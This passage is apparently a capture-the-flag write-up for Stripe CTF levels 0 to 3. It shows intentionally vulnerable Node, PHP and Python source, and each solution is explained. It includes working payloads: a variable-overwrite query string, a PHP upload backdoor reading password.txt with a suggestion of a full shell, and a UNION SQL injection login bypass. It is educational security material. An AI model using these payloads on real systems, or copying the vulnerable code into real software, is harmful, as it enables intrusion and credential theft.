<a name="n21" href="https://stripe-ctf.com/levels/0#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/0#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/0#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/0#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/0#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/0#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/0#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/0#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/0#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/0#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/0#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/0#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/0#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/0#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/0#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/0#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/0#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/0#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/0#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/0#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/0#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/0#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/0#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/0#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/0#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/0#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/0#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/0#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/0#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/0#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/0#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/0#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/0#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/0#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/0#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/0#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/0#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/0#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/0#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/0#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/0#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/0#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/0#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/0#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/0#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/0#n66"></a>66</pre>
</td>
<td>
<pre>// Install dependencies with 'npm install'
// Run as 'node level00.js'

var express = require('express'), // Web framework
    mu = require('mu2'),          // Mustache.js templating
    sqlite3 = require('sqlite3'); // SQLite (database) driver

// Look for templates in the current directory
mu.root = __dirname;

// Set up the DB
var db = new sqlite3.Database('level00.db');
db.run(
  'CREATE TABLE IF NOT EXISTS secrets (' +
    'key varchar(255),' +
    'secret varchar(255)' +
  ')'
);

// Create the server
var app = express();
app.use(express.bodyParser());

function renderPage(res, variables) {
  var stream = mu.compileAndRender('level00.html', variables);
  res.header('Content-Type', 'text/html');
  stream.pipe(res);
}

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

             renderPage(res, {namespace: namespace, secrets: secrets});
           });
  } else {
    renderPage(res, {});
  }
});

app.post('/*', function(req, res) {
  var namespace = req.body['namespace'];
  var secret_name = req.body['secret_name'];
  var secret_value = req.body['secret_value'];

  var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
  db.run(query, namespace, secret_name, secret_value, function(err) {
     if (err) throw err;

           res.header('Content-Type', 'text/html');
           res.redirect(req.path + '?namespace=' + namespace);
         });
});

if (process.argv.length &gt; 2) {
  var socket = process.argv[2];
  console.log("Starting server on UNIX socket " + socket);
  app.listen(socket);
} else {
  console.log("Starting server at http://localhost:3000/");
  app.listen(3000);
}</pre>
</td>
</tr>
</tbody>
</table>
And here&#8217;s the code for <code>level00.html</code>, its mustache.js template:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/0#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/0#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/0#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/0#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/0#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/0#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/0#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/0#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/0#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/0#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/0#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/0#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/0#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/0#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/0#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/0#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/0#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/0#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/0#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/0#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/0#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/0#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/0#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/0#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/0#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/0#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/0#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/0#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/0#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/0#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/0#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/0#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/0#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/0#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/0#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/0#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/0#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/0#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/0#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/0#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/0#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/0#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/0#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/0#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/0#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/0#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/0#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/0#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/0#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/0#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/0#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/0#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/0#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/0#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/0#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/0#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/0#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/0#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/0#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/0#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/0#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/0#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/0#n63"></a>63</pre>
</td>
<td>
<pre>&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Secret Safe&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    {{#namespace}}
    &lt;div style="border-width: 2px; border-style: outset; padding: 5px"&gt;
      Showing secrets for &lt;strong&gt;{{namespace}}&lt;/strong&gt;:
      &lt;table&gt;
        &lt;thead&gt;
          &lt;tr&gt;
            &lt;th&gt;Key&lt;/th&gt;
            &lt;th&gt;Value&lt;/th&gt;
          &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
          {{#secrets}}
          &lt;tr&gt;
            &lt;td&gt;{{ key }}&lt;/td&gt;
            &lt;td&gt;{{ secret }}&lt;/td&gt;
          &lt;/tr&gt;
          {{/secrets}}
          {{^secrets}}
          &lt;tr&gt;
            &lt;td span="2"&gt;
              You have no secrets stored with us. Try using the form below.
            &lt;/td&gt;
          &lt;/tr&gt;
          {{/secrets}}
        &lt;/tbody&gt;
      &lt;/table&gt;

      &lt;hr /&gt;
    &lt;/div&gt;
    {{/namespace}}

    &lt;form action="" method="POST"&gt;
      &lt;p&gt;
        &lt;label for="namespace"&gt;Namespace:&lt;/label&gt;
        &lt;input type="text" name="namespace" id="namespace"
            value="{{ namespace }}" /&gt;
      &lt;/p&gt;
      &lt;p&gt;
        &lt;label for="secret_name"&gt;Name of your secret:&lt;/label&gt;
        &lt;input type="text" name="secret_name" id="secret_name"&gt;
      &lt;/p&gt;
      &lt;p&gt;
        &lt;label for="secret_value"&gt;Your secret:&lt;/label&gt;
        &lt;input type="password" name="secret_value" id="secret_value"&gt;
      &lt;/p&gt;
      &lt;p&gt;
        &lt;input type="submit" value="Store my secret!" /&gt;
      &lt;/p&gt;
    &lt;/form&gt;
    &lt;form action="" method="GET"&gt;
      &lt;label for="change_namespace"&gt;
        Want to retrieve your secrets? View secrets for:
      &lt;/label&gt;
      &lt;input name="namespace" id="change_namespace" /&gt;
      &lt;input type="submit" value="View" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
&nbsp;

<hr />

<strong>The Solution</strong>

The web server programming is done via <em>node.js</em> Javascript server-side programming library. If you send some post data (line 45) it parses it and inserts it to the database.

If you do a get request (line 30), its gonna dump the pair you have given the key of. Since it uses <strong>LIKE</strong> in it&#8217;s query (line 34) you can use the wildcard character (%) which evaluates true for all strings in the table, so it would dump all the results to the screen, and the one you want is also among them.

Keep in mind that it is using prepared statements, so no SQL Injection is possible.

&nbsp;
<h3><strong>Challenge 1 &#8211; PHP Input Validation</strong></h3>
You completed this level in 449.956 seconds. The password was<code>FrXHxPWtlg</code>.

The solution you submitted was:

<code>provide filename and attempt both empty on get params</code>

<hr />

Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you&#8217;ll be given the password to access Level 2! We&#8217;ve been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn&#8217;t be able to extract the password anyway), so you&#8217;ll probably just have to try all the possible combinations. Or will you&#8230;?

You can play the Guessing Game at <strong><a href="https://level01-2.stripe-ctf.com/user-pwadawuqtd" target="_blank">https://level01-2.stripe-ctf.com/user-pwadawuqtd</a></strong>. The code for the Game can be obtained from<code>git clone https://level01-2.stripe-ctf.com/user-pwadawuqtd/level01-code</code>, and is also included below.

The contents of <code>index.php</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/1#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/1#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/1#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/1#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/1#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/1#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/1#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/1#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/1#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/1#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/1#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/1#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/1#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/1#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/1#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/1#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/1#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/1#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/1#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/1#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/1#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/1#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/1#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/1#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/1#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/1#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/1#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/1#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/1#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/1#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/1#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/1#n32"></a>32</pre>
</td>
<td>
<pre>&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Guessing Game&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Welcome to the Guessing Game!&lt;/h1&gt;
    &lt;p&gt;
      Guess the secret combination below, and if you get it right,
      you'll get the password to the next level!
    &lt;/p&gt;
    &lt;?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "&lt;p&gt;How did you know the secret combination was" .
               " $combination!?&lt;/p&gt;";
          $next = file_get_contents('level02-password.txt');
          echo "&lt;p&gt;You've earned the password to the access Level 2:" .
               " $next&lt;/p&gt;";
        } else {
          echo "&lt;p&gt;Incorrect! The secret combination is not $attempt&lt;/p&gt;";
        }
      }
    ?&gt;
    &lt;form action="#" method="GET"&gt;
      &lt;p&gt;&lt;input type="text" name="attempt"&gt;&lt;/p&gt;
      &lt;p&gt;&lt;input type="submit" value="Guess!"&gt;&lt;/p&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
<strong>Solution</strong>

This is a classic one. PHP developers in the old days used Register_Globals, which was something that added GET and POST parameters as variables in your current scope, thus someone could easily manipulate your variables via GET requests.

You should never use untrusted user input in your code context. Here on line 13, <strong>extract</strong> does that. It gets all the key/pair values from $_GET array and makes them valid variables in current scope. It also overwrites them if already existing.

Since the only variable defined before it is $filename, and there are no variables that are used before being set (except for $attempt which is intended to be an input from the user, thus safe), we have to override $filename here.

Just entering <strong>?filename=&amp;attempt=&amp;</strong> at the end of URL yields the result, since filename and attempt both would be empty strings and they would match perfectly.

&nbsp;
<h3><strong>Challenge 2 &#8211; Local File Inclusion (LFI)</strong></h3>
<div id="content">

You completed this level in 282.218 seconds. The password was<code>eAepnsrRXY</code>.

The solution you submitted was:

<code>upload a file.php with echo file_get_contents("../password.txt"); browse to it voila.</code>

<hr />

You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at <strong><a href="https://level02-3.stripe-ctf.com/user-shjuxdnipi" target="_blank">https://level02-3.stripe-ctf.com/user-shjuxdnipi</a></strong>. You may even be able to find the password for Level 3 by doing so.

The code for the Social Network can be obtained from <code>git clone https://level02-3.stripe-ctf.com/user-shjuxdnipi/level02-code</code>, and is also included below.

The contents of <code>index.php</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/2#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/2#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/2#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/2#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/2#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/2#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/2#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/2#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/2#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/2#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/2#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/2#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/2#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/2#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/2#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/2#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/2#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/2#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/2#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/2#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/2#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/2#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/2#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/2#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/2#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/2#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/2#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/2#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/2#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/2#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/2#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/2#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/2#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/2#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/2#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/2#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/2#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/2#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/2#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/2#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/2#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/2#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/2#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/2#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/2#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/2#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/2#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/2#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/2#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/2#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/2#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/2#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/2#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/2#n54"></a>54</pre>
</td>
<td>
<pre>&lt;?php
  session_start();

  if ($_FILES["dispic"]["error"] &gt; 0) {
    echo "&lt;p&gt;Error: " . $_FILES["dispic"]["error"] . "&lt;/p&gt;";
  }
  else
  {
    $dest_dir = "uploads/";
    $dest = $dest_dir . basename($_FILES["dispic"]["name"]);
    $src = $_FILES["dispic"]["tmp_name"];
    if (move_uploaded_file($src, $dest)) {
      $_SESSION["dispic_url"] = $dest;
      chmod($dest, 0644);
      echo "&lt;p&gt;Successfully uploaded your display picture.&lt;/p&gt;";
    }
  }

  $url = "https://upload.wikimedia.org/wikipedia/commons/f/f8/" .
         "Question_mark_alternate.svg";
  if (isset($_SESSION["dispic_url"])) {
    $url = $_SESSION["dispic_url"];
  }

?&gt;

&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Welcome to the CTF!&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;center&gt;
      &lt;h1&gt;Welcome to the CTF Social Network!&lt;/h1&gt;
      &lt;div&gt;
        &lt;img src=&lt;?php echo $url; ?&gt; /&gt;
        &lt;?php
          if (!isset($_SESSION["dispic_url"])) {
            echo "&lt;p&gt;Oh, looks like you don't have a profile image" .
                 " -- upload one now!&lt;/p&gt;";
          }
        ?&gt;
        &lt;form action="" method="post" enctype="multipart/form-data"&gt;
          &lt;input type="file" name="dispic" size="40" /&gt;
          &lt;input type="submit" value="Upload!"&gt;
        &lt;/form&gt;

        &lt;p&gt;
           Password for Level 3 (accessible only to members of the club):
           &lt;a href="password.txt"&gt;password.txt&lt;/a&gt;
        &lt;/p&gt;
      &lt;/div&gt;
    &lt;/center&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<div></div></td>
</tr>
</tbody>
</table>
</div>
&nbsp;

<strong>Solution</strong>

This one is pretty easy and dangerous, but since we need it in our next challenges stay sharp.

There&#8217;s a file <strong>password.txt</strong> with webserver deny access, it means that you can not access it via the webserver on your browser. There&#8217;s also a dialog to upload your photo, and it puts that in <strong>./uploads/</strong> folder. No checking is done on the upload process, so you can easily upload a PHP file, e.g <strong>backdoor.php </strong>containing the code :
<blockquote> &lt;?php echo file_get_contents(&#8220;../password.txt&#8221;);</blockquote>
Then just browse to ./uploads/backdoor.php and see the password on the screen.

Actually we can upload anything here even a backdoor shell to access everything on this server, and we&#8217;re gonna need it later. This scenario happens on many real world cases.

&nbsp;
<h3><strong>Challenge 3 &#8211; SQL Injection Union Bypassing</strong></h3>
You completed this level in 1333.633 seconds. The password was<code>LDeVchKFIV</code>.

The solution you submitted was:

<code>' and 1=0 union all select (select id from users where username='bob'),'d74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1','' -- enter this as username and "pass" as password</code>

<hr />

After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like <a href="http://www.oracle.com/us/technologies/linux/ubreakable-enterprise-kernel-linux-173350.html">Unbreakable Linux</a>). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.

A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at <strong><a href="https://level03-1.stripe-ctf.com/user-uajtfcvbxh" target="_blank">https://level03-1.stripe-ctf.com/user-uajtfcvbxh</a></strong>. As usual, you can fetch the code for the level (and some sample data) via <code>git clone https://level03-1.stripe-ctf.com/user-uajtfcvbxh/level03-code</code>, or you can read the code below.

The source of the server, <code>secretvault.py</code>, is:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/3#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/3#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/3#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/3#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/3#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/3#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/3#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/3#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/3#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/3#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/3#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/3#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/3#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/3#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/3#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/3#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/3#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/3#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/3#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/3#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/3#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/3#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/3#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/3#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/3#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/3#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/3#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/3#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/3#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/3#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/3#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/3#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/3#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/3#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/3#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/3#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/3#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/3#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/3#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/3#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/3#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/3#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/3#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/3#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/3#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/3#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/3#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/3#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/3#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/3#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/3#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/3#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/3#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/3#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/3#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/3#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/3#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/3#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/3#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/3#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/3#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/3#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/3#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/3#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/3#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/3#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/3#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/3#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/3#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/3#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/3#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/3#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/3#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/3#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/3#n75"></a>75
